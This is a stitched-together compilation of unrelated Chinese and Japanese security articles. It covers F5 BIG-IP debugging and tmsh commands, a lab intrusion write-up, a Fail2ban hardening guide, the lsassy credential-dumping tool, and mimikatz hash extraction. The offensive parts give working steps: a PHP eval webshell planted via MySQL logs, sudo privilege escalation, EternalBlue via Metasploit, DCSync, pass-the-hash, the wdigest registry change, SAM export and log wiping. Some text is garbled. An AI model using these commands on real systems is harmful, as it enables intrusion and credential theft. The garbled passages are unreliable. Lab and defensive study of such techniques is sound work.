0x03 F5 BIG-IP漏洞調試環境配置配置文件的定位參考《CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现》

1.定位java進程查看進程:

psaux|grepjava如下圖

0e25481e601806d5a6a351e6e9de61b.png

定位進程pid 6324,jar包路徑/usr/share/java/rest

查看pid 6324的進程信息:

image.png

如下圖

522c09c544118cd8c3a780d50d2bbd2.png

定位文件/etc/bigstart/scripts/restjavad

修改JVM_OPTIONS,添加調試參數-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

2.定位服務查看所有服務的狀態:

systemctlstatus找到pid 6324對應的服務名稱runit.service

添加調試參數後需要重啟服務:

servicerunit.servicerestart查看參數是否修改:

psaux|grep8000如下圖

85dc2a39450cb5d3b70c0f97d911528.png

3.開啟防火牆在Web管理面板,依次選擇System - Platform - Security

添加規則,如下圖

3e86a25cf33071fd5c00afa2cea75ea.png

遠程調試成功,如下圖

a7cca7943be08e383a782521f06a5c0.png

使用tmsh查看防火牆規則,參考

https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/security/security_firewall_management-ip-rules.html

命令如下:

tmsh-c'list/securityfirewallmanagement-ip-rules'結果如下圖

63e0d996830ebe51a932a38deb288c0.png

4.常用jar包位置/usr/local/www/tmui/WEB-INF/lib/

/usr/share/java/rest

0x04 常用知識1.tmsh用法參考資料:

https://clouddocs.f5.com/api/tmsh/

https://clouddocs.f5.com/cli/tmsh-reference/latest/

(1)查看版本

tmshshow/sysversion(2)查看所有配置

分步操作:

tmsh

listall-properties

y一鍵操作:

echoy|tmsh-c'listall-properties'(3)查看用戶信息

分步操作:

tmsh

listauth一鍵操作:

tmsh-c'listauth'(4)創建管理員用戶(web和ssh登錄)

參考:https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/auth/auth_user.html

分步操作:

tmsh

createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}需要注意口令不能存在特殊字符

一鍵操作:

tmsh-c'createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}'(5)刪除用戶

分步操作:

tmsh

deleteauthusertest1一鍵操作:

tmsh-c'deleteauthusertest1'2.使用REST API執行命令需要管理員用戶名口令

訪問https://url /mgmt/tm/util/bash

能夠執行bash命令,獲得返回結果

代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/BIG-IP_RunBash.py

3.日誌相關(1)搜索帶有指定關鍵詞的日誌

grep-iRaaaaaaaa/var/log/(2)web管理後台同日誌文件的對應關係

審計日誌,位置System -Logs - audit,對應文件/var/log/audit

用戶登錄歷史記錄,位置Logins - History,對應文件/var/log/secure

(3)其他日誌位置

/var/log/restjavad-audit.0.log

/var/log/auditd/audit.log

/var/log/btmp

/var/log/wtmp

/var/log/lastlog

(4)查看web訪問日誌

journalctl/usr/bin/logger清除所有:

rm-rf/var/log/journal/*

systemctlrestartsystemd-journald0x05 小結在我們搭建好F5 BIG-IP漏洞調試環境後,接下來就可以著手對漏洞進行學習。

开启靶机后是一个带着 ThinkPHP icon 的登陆界面,直接测试一下

pr3aixxmthh14332.png

存在 5.0.23 RCE

avb2fkz5ot014333.png

打一下,PHP-7.4.3 的环境,看一下 disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
2bves0gkpyg14334.png

传马上去,蚁剑连接,是www-data权限,那么就得想办法提权进到/root

ptodkvtli0a14335.png

在以前关注的公众号下找了些文章,Web安全工具库 这篇写的挺全的,《Linux提权备忘录》

尝试cat /etc/sudoers被告知Permission denied,换成sudo -l查看

0vj0bijbpzi14336.png

这个网站里可以提供命令提权参考

qbhtoepnebh14338.png

可以使用mysql来实现,sudo mysql -e '! cat /root/flag/flag01.txt'拿到第一部分 flag

mpnwk2mcgmc14339.png

ifconfig查下 IP

xl1tobyxl4y14340.png

把 fscan 传上去然后扫下 C 段,./fscan_amd64 -h 172.22.1.1/24,结果在当下的 result.txt 里

172.22.1.18:3306 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010    (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[+] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] 172.22.1.2     [+]DC XIAORANG\DC01              Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] 172.22.1.18          XIAORANG\XIAORANG-OA01     Windows Server 2012 R2 Datacenter 9600
[*] 172.22.1.21          __MSBROWSE__\XIAORANG-WIN7     Windows 7 Professional 7601 Service Pack 1
[*] WebTitle:http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle:http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

.15 就不用看了,.21 是个存在永恒之蓝的 Win7,.18 是个信呼OA 的系统,.2 是个域控

用 NPS+Proxifier 代理转发,先看 .18

h5lgfcmqjp114341.png

然后就有两个做法,第一个是针对信呼OA的一个文件上传漏洞,可以参考 Y4tacker师傅的文章,在利用弱口令 admin/admin123 登录后直接打 exp 就行

第二种做法是在扫目录基础上,利用/phpmyadmin,可以直接 root/root 登录,然后利用日志写入 webshell

y52lpwcwv3314342.png

第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置

0gqyq0hecc014344.png

第二步set global general_log = ON;开启日志

ainw4x2jgid14345.png

第三步set global general_log_file设置日志保存位置

ftsk54ijihs14346.png

最后select '<?php eval($_POST[cmd]);?>';写然后蚁剑连接,flag 就在C:/Users/Administrators/flag

tlz0e2dogff14347.png

接下来看 .21,是台 Win7 的机子,可以打 MS17-010 ,试了一下不出网,采用正向监听即可

先挂代理,proxychains msfconsole走 socks5 流量,然后依次use exploit/windows/smb/ms17_010_eternalblue=>set payload windows/x64/meterpreter/bind_tcp_uuid=>set RHOSTS 172.22.1.21=>exploit

vy2ug4xabn314348.png

得到正向的 meterpreter shell 后,接下来就是利用 DCSync

DCSync的介绍可以参考这篇文章,最大的特点就是可以实现不登录到域控而获取域控上的数据

在 MSF 下直接load kiwi,然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit导出域内所有用户的 Hash

1zrjq0e2br514349.png

之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd",最后一部分 flag 在/Users/Administrators/flag

gqrs4cmeht514350.png

原文链接: http://119.45.47.125/index.php/2022/11/24/yunjing-4/

如何保護您的Web 應用程序免受密碼破解Part 1

什麼是Fail2ban,它是如何工作的? Fail2ban是一種用於掃描日誌文件、檢測可疑活動(例如太多失敗的身份驗證嘗試)以及阻止潛在惡意IP 地址的工具。

這項免費服務有助於保護Linux 機器免受暴力破解和其他自動攻擊。通常,Fail2ban 用於更新防火牆規則以在指定的時間內拒絕IP 地址。

Fail2ban 有以下好處:

马云惹不起马云易於設置

马云惹不起马云免費使用

马云惹不起马云可以與大量應用程序交互

马云惹不起马云提供大量配置參數

马云惹不起马云易於監控當前保護狀態

马云惹不起马云與各種通知服務集成

儘管Fail2ban 可以幫助您最大限度地減少錯誤身份驗證嘗試的次數,並在一定程度上降低密碼破解和未經授權訪問的風險,但它並不是靈丹妙藥。

不利的一面是,Fail2ban 無法涵蓋由於服務器身份驗證策略薄弱而出現的問題。即使是最好的Fail2ban 配置也不能替代我們上面討論的密碼保護最佳實踐。此外,Fail2ban 僅適用於Linux,不適用於IPv6。

為了有效地保護您的服務,您還可以應用用於多因素和公共/私人身份驗證機制的工具。

image.png

Fail2ban 的優缺點

Fail2ban 是如何工作的?下面簡單解釋一下它的機制:

1. 任何應用程序或服務器總是將日誌保存在特定文件中,包括失敗的身份驗證嘗試的唯一日誌。

2. Fail2ban 掃描這些文件,搜索與身份驗證失敗相關的日誌。

3. 如果檢測到失敗的身份驗證嘗試,Fail2ban 會保存嘗試的時間和負責的IP 地址。

4. Fail2ban 計算在指定時間段內來自同一IP 的失敗身份驗證嘗試。

5. 如果IP 地址超過了允許的嘗試次數,Fail2ban 會創建一個新的防火牆規則來阻止該IP 地址。

結果,可疑的IP 地址將失去訪問服務器的能力。經過一段可配置的時間後,IP地址可以自動解禁,也可以手動解禁。

例如,您可以配置Fail2ban,如果任何威脅行為者發起密碼破解攻擊,他們的IP 地址將被禁止五個小時。

現在,讓我們探索配置過程本身。

如何配置Fail2ban您可以配置Fail2ban 以讀取不同應用程序的日誌。開箱即用,此工具可以與以下應用程序類型交互:

马云惹不起马云SSH 服務器

马云惹不起马云HTTP 服務器

马云惹不起马云Webmail 和群件服務器

马云惹不起马云網絡應用

马云惹不起马云HTTP 代理服務器

马云惹不起马云FTP 服務器

马云惹不起马云郵件服務器

马云惹不起马云郵件服務器驗證器

马云惹不起马云DNS 服務器

马云惹不起马云來自不同類別的各種服務器應用程序

默認情況下,Fail2ban 啟用使用sshd的通信,這是一個OpenSSH 服務器進程。這意味著在幾次失敗的SSH 身份驗證嘗試後,負責的IP 地址將被禁止。

為了與任何應用程序交互,Fail2ban 使用Jail,它是一個過濾器和一個或多個操作的組合。此交互允許您在身份驗證嘗試失敗後禁止IP 地址。

監獄配置默認保存到jail.conf 文件。如果要更改默認設置,請複製配置文件並將副本命名為jail.local。如果jail.local 文件存在,Fail2ban 將自動使用它而不是默認文件。

我們不建議對原始配置文件進行更改,因為萬一出現任何錯誤,返回默認設置將非常困難。此外,一旦安裝了Fail2ban 的新更新,jail.conf 文件也將更新,您的所有自定義設置都將消失。

以下是Fail2ban 如何確定失敗的身份驗證嘗試:

1. 該工具具有寫入jail.local 配置文件中的服務日誌文件的路徑。

2. 失敗的身份驗證日誌和常規異常會自動添加到Fail2ban 文本過濾器中。

3. 該工具使用文本過濾器掃描日誌文件。

如果您打開配置文件,您會發現Fail2ban 可以與之交互的相當大的應用程序列表。這些應用程序的名稱在括號中,如下面的示例代碼所示:

#Mailservers

[assp]

port=smtp,465,submission

logpath=/root/path/to/assp/logs/maillog.txt

[courier-smtp]

port=smtp,465,submission

logpath=%(syslog_mail)s

backend=%(syslog_backend)s

[postfix]

#Touseanothermodessetfilterparameter'mode'injail.local:

mode=more

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

[postfix-rbl]

filter=postfix[mode=rbl]

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

maxretry=1默認情況下,Fail2ban 配置為僅與SSH 一起使用,並且所有其他通信協議都被禁用。如果需要開啟其他類型的通信,在配置文件中找到需要的類型,添加如下字符串:

enabled=true這是一個例子:

[nginx-http-auth]

enabled=true

port=http,https

logpath=%(nginx_error_log)s如果需要,您還可以更改與某個應用程序交互的現有參數或添加新參數。以下是常用參數列表:

马云惹不起马云ignoreip指定Fail2ban 忽略的IP 地址。默認情況下,該參數設置為忽略當前機器的流量。

马云惹不起马云bantime 以秒為單位設置禁令持續時間。默認值為600 秒。

马云惹不起马云findtime定義了監控來自每個IP 地址的失敗身份驗證嘗試的時間段。默認值為600 秒。

马云惹不起马云maxretry指定在findtime 指定的時間內每個地址的失敗登錄嘗試限制。

马云惹不起马云usedns確定是否使用反向DNS 進行阻止。如果設置為NO,則Fail2ban 將阻止IP 地址而不是主機名。如果設置為YES,該工具將嘗試使用反向DNS 來查找主機名並阻止它。默認值為WARN。它就像YES 值一樣工作,但也會記錄一個警告。系統工程師可以稍後查看所有警告。

马云惹不起马云協議指定將被阻止的流量類型。默認情況下它是TCP。

马云惹不起马云port指定要禁止的端口。

马云惹不起马云logpath顯示日誌文件的路徑。

注意:上面的列表沒有描述所有的Fail2ban 參數。您可以在配置文件中找到所有這些。

您可以在/etc/fail2ban 文件夾中的文件中找到在logpath參數中默認設置的日誌文件路徑(例如,上面代碼示例中的nginx_error_log ):

马云惹不起马云paths-common.conf — 具有默認服務日誌路徑的文件

马云惹不起马云path-opensuse.conf、paths-arch.conf、paths-debian.conf — 包含不同Linux 系統的特定路徑的文件

如果您打開上述文件,您可以看到類似於以下的日誌文件路徑:

apache_error_log=/var/log/apache2/*error.log

apache_access_log=/var/log/apache2/*access.log

auditd_log=/var/log/audit/audit.log

exim_main_log=/var/log/exim/mainlog

nginx_error_log=/var/log/nginx/*error.log

nginx_access_log=/var/log/nginx/*access.log如有必要,您可以編輯指示應在日誌中搜索哪些文本以確定身份驗證失敗的過濾器。每個過濾器都位於/etc/fail2ban/filter.d 文件夾中的一個單獨文件中。

image.png

截圖1. /etc/fail2ban/filter.d文件夾內的過濾器列表

當您打開任何過濾器文件時,您將看到一個帶有所需身份驗證失敗文本的正則表達式,如下例所示:

image.png

屏幕截圖2. 過濾驗證失敗的文本

配置完成後,使用以下命令重新加載Fail2ban:

sudofail2ban-clientreload如果您只更改了一個Jail文件的設置,則無需重新啟動該工具。只需使用以下命令重新加載它:

image.png

此外,您可以配置Fail2ban 以與配置文件中不存在的任何應用程序進行交互。您需要做的就是添加您的自定義配置,如上所述。

如何使用Fail2ban要檢查當前啟用了哪些監獄,請使用以下命令:

sudofail2ban-clientstatus這是響應的示例:

Status

|-Numberofjail:2

`-Jaillist:nginx-http-auth,sshd如您所見,服務器上啟用了nginx-http-auth 和sshd Jails 。如果要查看任何Jail參數的值,則無需打開配置文件;只需使用以下命令:

image.png

這是一個代碼示例,它向我們展示了sshd Jail maxretry 等於5:

sudofail2ban-clientgetsshdmaxretry5如果監獄超過了失敗的身份驗證嘗試限制,Fail2ban 將禁止在監獄配置中為IP 地址指定的端口。要檢查監獄狀態,請使用以下命令:

image.png

下面是一個響應示例,它向我們展示了兩個IP 地址當前被禁止SSH 訪問:

Statusforthejail:sshd

|-Filter

||-Currentlyfailed:0

||-Totalfailed:25

|`-Filelist:/var/log/auth.log

`-Actions

|-Currentlybanned:2

|-Totalbanned:5

`-BannedIPlist:192.168.10.107192.168.10.115如果您在IP 在禁止列表中時嘗試訪問服務器,則會收到如下“連接被拒絕”錯誤:

ssh:connecttohost192.168.10.105port22:Connectionrefused如果IP 地址被任何HTTP 服務器Jail禁止,錯誤將類似:

curl:(7)Failedtoconnectto192.168.10.105port80:Connectionrefused您還可以使用以下命令手動將任何IP 地址添加到禁止列表:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authbanip10.100.1.210要手動解禁IP 地址,請使用以下命令:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authunbanip10.100.1.210考慮到這一點,讓我們開始在Fail2ban 中配置通知。

如何配置Viber 聊天機器人以接收Fail2ban 通知如果要監控Fail2ban 活動,請通過以下三個步驟配置實時活動通知:

1. 配置您要使用的任何通知服務

2. 準備Fail2ban 動作配置文件

3. 在jail.local 文件中更新action參數的值

Fail2ban 具有使用電子郵件服務的配置。您需要做的就是在服務器上配置服務。

但是,如果您想通過Viber 等信使服務接收通知怎麼辦?讓我們討論如何配置它!

首先,要將Viber 用作通知服務,您需要創建一個Viber 聊天機器人。您可以在Viber API 文檔頁面上找到有關Viber 聊天機器人設置和配置的文檔。

準備好聊天機器人後,請確保執行以下步驟:

1. 獲取Viber 聊天機器人的身份驗證令牌。您可以在Viber 管理面板頁面上找到它。

2.在訂閱Viber 聊天機器人的所有用戶列表中找到您的用戶ID。為此,請使用以下HTTP 請求:

image.png

響應將向您顯示成員列表,如下例所示:

'members':[{'id':'','name':'JohnDoe','role':'admin'}]選擇必要成員的ID 並複制。

現在,您可以開始配置Fail2ban。轉到/etc/fail2ban/action.d 文件夾,其中包含所有可能的Fail2ban 操作的配置。

為Viber 通知創建一個新的配置文件。我們將其命名為viber_notifications.conf。現在將以下內容添加到文件中:

image.png

讓我們弄清楚上面的字符串是什麼意思以及我們可以配置什麼:

马云惹不起马云actionban和actionunban參數描述了當Fail2ban 禁止或解禁可疑IP 地址時需要執行的操作。在我們的例子中,HTTP 請求會將消息從您的Viber 聊天機器人發送給您指定的用戶。

马云惹不起马云 Auth Token 和user id 是我們之前討論過的參數。只需粘貼您的身份驗證令牌和您複製的用戶名。

马云惹不起马云sender是配置通知發送者名稱的參數。在我們的示例中,我們使用名稱“Fail2ban”。

马云惹不起马云type是幫助您配置消息類型的參數。您可以使用Viber 發送不同的消息類型。在我們的示例中,我們使用文本類型。

马云惹不起马云text是一個參數,其中包含機器人將發送的消息。您可以向文本添加不同的變量。例如, ip 代表被禁止的IP 地址、 name 監獄名稱和failures 失敗次數。

马云惹不起马云name=default是一個字符串,表示將動態分配監獄名稱

我們的下一步是配置jail.local。為此,您需要在必要的Jail部分中添加操作參數或更新[DEFAULT]部分中的默認參數。該參數應包含兩個操作:第一個用於IP 禁止,第二個用於Viber 通知。

下面是一個使用action參數的例子

action=%(action_)s

viber_notifications注意:%(action_)s是默認操作值。此操作將禁止IP 地址。讓我們將Viber 操作配置名稱“viber_notifications”添加到第二個字符串。

現在,由於jail.conf 文件發生了變化,您需要重新加載Fail2ban 客戶端並重新啟動服務:

sudofail2ban-clientreload

systemctlrestartfail2ban聊天機器人將如下所示:

screenshot-3-Fail2ban-notifications-in-a-viber-chatbot.png

屏幕截圖3. Viber 聊天機器人中的Fail2ban 通知

配置完成。現在您可以使用Viber 聊天機器人實時監控Fail2ban 活動!

結論密碼破解攻擊是對任何應用程序的嚴重威脅。惡意行為者使用不同的方法來未經授權訪問用戶帳戶並竊取用戶的敏感數據。

為了保護您的應用程序免受此類威脅,請應用嚴格的身份驗證策略並使用Fail2ban 等服務設置可靠的密碼破解保護。

在Apriorit,我們在構建每個項目時都考慮到網絡安全。我們的Web 應用程序開發和質量保證專家已經掌握了威脅保護應用程序的開發以及包括Fail2ban 在內的不同安全服務的配置。

0x00 前言在之前文章《渗透基础——从lsass.exe进程导出凭据》 介紹了本地導出憑據的方法,而在滲透測試中,經常遇到的情況是需要遠程導出憑據,本文將要介紹遠程導出憑據的思路和方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

思路

實現方法

lsassy介紹

0x02 思路在遠程導出憑據時,需要考慮以下幾點:

(1)需要實現遠程命令執行,關於遠程命令執行,可以參考之前的文章《在远程系统上执行程序的技术整理》

(2)由於保護措施的限制,不同環境需要不同的導出方法

(3)遠程導出lsass進程的dump文件後,通常會選擇將dump文件複製到本地,解析得到口令hash,而有的時候lsass進程的dump文件很大,所以需要考慮傳輸文件的效率

(4)對於多個系統,重複勞動太多,效率不高

綜合以上幾點,我們需要一個方便快捷的方法:支持多種導出方法,能夠直接解析出口令hash,操作自動化以提高效率。

這裡可以使用開源工具Lsassy,地址為:https://github.com/Hackndo/lsassy

0x03 lsassy介紹1.安裝使用安裝命令:

pipinstalllsassy測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1在輸出上,使用termcolor添加了顏色顯示,在默認Windows cmd下無法正常顯示顏色,會導致顯示格式不友好,存在一些亂碼。

為了解決Windows下格式亂碼的問題,可以修改Python \lib\site-packages\lsassy\logger.py,代碼如下:

importlogging

importos

importsys

classLsassyFormatter(logging.Formatter):

def__init__(self):

logging.Formatter.__init__(self,'%(bullet)s%(threadName)s%(message)s',None)

ifos.name=='nt':

self.BLUE,self.WHITE,self.YELLOW,self.RED,self.NC='','','','',''

else:

self.BLUE='\033[1;34m'

self.WHITE='\033[1;37m'

self.YELLOW='\033[1;33m'

self.RED='\033[1;31m'

self.GREEN='\033[1;32m'

self.NC='\033[0m'

defformat(self,record):

ifrecord.levelno==logging.INFO:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.DEBUG:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.WARNING:

record.bullet='[!]{}'.format(self.NC)

elifrecord.levelno==logging.ERROR:

record.bullet='[x]{}'.format(self.NC)

else:

record.bullet='[+]{}'.format(self.NC)

ifrecord.exc_infoandlogging.getLogger().getEffectiveLevel()!=logging.DEBUG:

record.exc_info=None

returnlogging.Formatter.format(self,record)

defhighlight(msg):

returnmsg

definit(quiet=False):

handler=logging.StreamHandler(sys.stdout)

handler.setFormatter(LsassyFormatter())

logging.getLogger().addHandler(handler)

logging.getLogger().setLevel(logging.INFO)

logging.addLevelName(25,'SUCCESS')

setattr(logging,'success',lambdamessage,*args:logging.getLogger()._log(25,message,args))

logging.getLogger().disabled=quiet2.打包成exe這裡可以使用pyinstaller,主程序代碼為https://github.com/Hackndo/lsassy/blob/master/lsassy/console.py

打包成單獨exe的命令:

pyinstaller-Fconsole.py生成console.exe後,在執行時會報錯提示缺少Module

根據輸出提示修改打包命令,添加引用Module:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4此時雖然能夠正常啟動console.exe,但是無法運行導出功能。

調試方法:添加參數-vv,能夠看到lsassy.dumpmethod.comsvcs找不到

添加所有依賴包,得到完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importls assy.dumpmethod.dllinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden- importlsassy.dumpmethod.ppldump--hidden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importls assy.exec.smb--hidden-importlsassy.exec.smb_stealth--hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output此時生成的console.exe可以正常使用。

3.支持的導出方法(1)comsvcs

使用C:\windows\system32\comsvcs.dll的導出函數MiniDump()獲得lsass進程的dump文件。

細節可參考之前的文章《MiniDumpWriteDump via COM+ Services DLL》 的利用測試。

可直接使用。

(2)comsvcs_stealth

方法類似comsvcs,區別是先將C:\windows\system32\comsvcs.dll複製到c:\windows\temp並重命名,使用新的dll獲得lsass進程的dump文件。

可直接使用。

(3)dllinject

通過dll注入的方式實現

APC注入的方法可參考《通过APC实现Dll注入——绕过Sysmon监控》 。

需要加入參數: -O loader_path=loader.exe,dll_path=inject.dll

(4)dumpert

技術細節:https://github.com/outflanknl/Dumpert

通過API MiniDumpWriteDump()獲得lsass進程的dump文件。

需要加入參數: -O dumpert_path=dumpert.exe

(5)dumpertdll

方法同上,區別是使用dll文件作為參數。

需要加入參數: -O dumpertdll_path=dumpert.dll

(6)edrsandblast

技術細節:https://github.com/wavestone-cdt/EDRSandblast

利用帶有簽名的驅動程序獲得lsass進程的dump文件

需要加入參數: -O edrsandblast_path=EDRSandBlast.exe,RTCore64_path=RTCore64.sys,ntoskrnl_path=NtoskrnlOffsets.csv

(7)mirrordump

技術細節:https://github.com/CCob/MirrorDump

實現流程:

加載一個LSA SSP插件

在插件中洩露lsass.exe的進程句柄

通過API MiniDumpWriteDump()獲得lsass進程的dump文件

需要加入參數: -O mirrordump_path=Mirrordump.exe

(8)mirrordump_embedded

方法同上,不需要Mirrordump.exe作為參數。

需要注意的是mirrordump無法自動清除已註冊的LSA SSP插件,使用該方法後會留下以下痕跡:

LSA SSP插件保存在C:\Windows\System32,名稱為八位隨機字符,後綴名為dll

lsass進程中殘留未卸載的dll

痕跡如下圖

d2d17af8a1c234df1169a5c7b5cc891.png

清除痕蹟的方法:先卸載lsass進程中加載的dll,再刪除dll文件。

關於枚舉和清除LSA SSP插件的細節可參考之前的文章《Mimikatz中SSP的使用》 。

可直接使用。

(9)nanodump

技術細節:https://github.com/helpsystems/nanodump

優點是支持多種方式洩露lsass進程句柄。

需要加入參數: -O nanodump_path=nanodump.exe

(10)ppldump

技術細節:https://github.com/itm4n/PPLdump

支持Win10和Server2019

能夠繞過PPL(Protected Process Light)對lsass進程的保護。

相關細節:

https://itm4n.github.io/lsass-runasppl/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

需要加入參數: -O ppldump_path=PPLdump.exe

(11)ppldump_embedded

方法同上,不需要PPLdump.exe作為參數。

可直接使用。

(12)procdump

通過procdump.exe獲得lsass進程的dump文件。

需要加入參數: -O procdump_path=procdump.exe

(13)procdump_embedded

方法同上,不需要procdump.exe作為參數。

可直接使用。

(14)rdrleakdiag

目標系統需要在c:\windows\system32\下存在文件rdrleakdiag.exe

默認存在的系統:

Windows 10,10.0.15063.0

Windows 8.1,6.3.9600.17415

Windows 8,6.2.9200.16384

Windows7,6.1.7600.16385

Windows Vista,6.0.6001.18000

只能執行一次,再次執行需要重新啟動操作系統。

可直接使用。

(15)wer

技術細節:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

通過Powershell調用API MiniDumpWriteDump()獲得lsass進程的dmp文件。

可直接使用。

0x04 小結本文介紹了遠程從lsass.exe進程導出憑據的思路,逐個介紹Lsassy使用的導出方法,分析技術細節。

現在のマシンの平文パスワードを取得

ドメインハッシュをエクスポートする前に、最初に現在のマシンのローカルハッシュパスワードをエクスポートしようとすることができます。以前にドメインユーザーがこのマシンにログインした場合、ドメインユーザーまたはドメイン管理者のアカウントを直接取得できます。

Windowsオペレーティングシステムでは、SAMデータベース(C: \ Windows \ System32 \ config \ sam)がローカルユーザーのハッシュを保存します。

ローカル認証プロセスでは、ローカルセキュリティ許可サービスプロセスlsass.exeは、メモリ(DMPファイル)でユーザーパスワードをキャッシュします。

したがって、ここでは、現在のマシンのハッシュをクロールする2つの方法を検討できます:オンラインツール抽出とオフライン分析抽出。

注:Windows 10 \ 2012R2の後のシステムバージョンでは、メモリキャッシュでデフォルトでシステムユーザーのプレーンテキストパスワードが無効になります。この時点で、Mimikatzを使用してPlantextをキャッチできます。また、それをキャッチすることはできません。パスワードフィールドディジットは、nullとして直接表示されます。

ここでは、レジストリを手動で変更して、平易なテキストを保存して、クロールできるようにします。 (変更後、ログインする前にユーザーからログアウトする必要があります)

reg add hklm \\ system \\ currentControlset \\ control \\ securityproviders \\ wdigest /v uselogoncredential /t reg \ _dword /d 1 /f

mimikatz

ミミカッツは、フランス人ベンジャミンによって開発された強力な軽量デバッグツールです。個人的なテストを目的としていますが、その強力な機能のため、Windows XP-2012などのオペレーティングシステムの平文パスワードを直接読み取ることができ、浸透テストで有名です。浸透に必要なツールであると言えます。

住所をダウンロード:https://github.com/gentilkiwi/mimikatz

1.レジストリを介してハッシュをクロールします

コマンドラインを実行して、現在のシステムレジストリのSAMおよびシステムファイルを取得します(ローカル管理者の権利が必要です)

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

ファイルを取得した後、攻撃者のネイティブマシンにダウンロードし、Mimikatzを使用してハッシュを分析および抽出できます。

mimikatz.exe 'lsadump:3360sam /sam:sam.hiv /system:sys.hiv' 'exit'

この方法は、SAMファイルに保存されているローカルユーザーのアカウントのみを取得できます

zxzoiznzyh4865.png

2.ターゲットマシンにmimikatzをアップロードし、ローカルSAMファイルによって保存されたアカウントハッシュ値をオンラインで抽出します

特権:Debug

token:3360Elevate

lsadump:sam

nfunlsdvbs5866.png

3. lsass.exeの記憶からハッシュを拡張します

Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'

he1x2bs1o2z867.png

mqwdln1q10i868.png

ローカルユーザーにログインしたドメイン管理者のハッシュ値が、ローカルユーザーの管理者権限を使用してキャプチャされたことがわかりました。

pwdump7

pwdump7.exeを直接実行するだけです

fvr2jgujkrx869.png

WEC

ターゲットマシンにアップロードし、直接実行するパラメーターを追加します。

-lリストログインセッションとNTLM資格情報(デフォルト)

-S現在のログインセッションパラメーターのNTLM資格情報を変更する:ユーザー名:ドメイン名:LMハッシュ:NTハッシュ

-Rは、ログインセッションとNTLM資格情報を定期的にリストします。新しいセッションが見つかった場合、5秒ごとに再リストされます。

-c特別なNTML資格情報パラメーターを使用して新しいセッションを実行します。

-eログインセッションとntlm資格情報を随時リストし、ログインイベントが生成されたときに一度再リストする

-oすべての出力をファイルパラメーター:ファイル名に保存します

- 現在のログインセッションパラメーター:を使用する代わりに、LUIDを指定します

-dログインセッションパラメーター:からNTLM資格情報を削除します

-adressアドレスパラメーター:アドレスを使用します

-fフォースセーフモード

